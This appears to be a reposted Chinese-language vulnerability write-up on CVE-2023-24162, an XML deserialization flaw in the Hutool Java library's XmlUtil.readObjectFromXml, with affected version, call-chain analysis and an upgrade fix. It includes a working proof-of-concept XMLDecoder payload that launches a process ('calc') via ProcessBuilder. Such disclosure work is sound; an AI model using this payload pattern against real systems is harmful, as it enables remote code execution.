当前位置:   article > 正文

漏洞分析|hutool XML反序列化漏洞(CVE-2023-24162)_hutool漏洞

hutool漏洞

1.漏洞描述

Hutool是一个小而全的Java工具类库,通过静态方法封装,降低相关API的学习成本,提高工作效率。

Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据,当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。

2.影响版本

Hutool v5.8.11

3.漏洞复现

  1. XmlUtil.readObjectFromXml("<java>\n" +
  2. " <object class=\"java.lang.ProcessBuilder\">\n" +
  3. " <array class=\"java.lang.String\" length=\"1\">\n" +
  4. " <void index=\"0\">\n" +
  5. " <string>calc</string>\n" +
  6. " </void>\n" +
  7. " </array>\n" +
  8. " <void method=\"start\"></void>\n" +
  9. " </object>\n" +
  10. "</java>\n");

4.漏洞分析

在最新版的 hutool-all 没有用黑名单,而是直接移除了 readObjectFromXml 方法

cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)

当然这个地方也是可以通过读取文件来实现的

cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)

cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)

java.beans.XMLDecoder#readObject

漏洞本质上是 java 原生方法中的漏洞,XMLDecoder.readObject 。所以不去调用 hutool-all 中的 readObjectFromXml 方法 就可以避免这个漏洞的产生。

5.修复建议

修复方式

官方已发布补丁,升级到最新版本即可

参考链接

https://nvd.nist.gov/vuln/detail/CVE-2023-24162

https://gitee.com/dromara/hutool/issues/I6AEX2

本文内容由网友自发贡献,转载请注明出处:https://www.wpsshop.cn/w/从前慢现在也慢/article/detail/827732
推荐阅读
相关标签
  

闽ICP备14008679号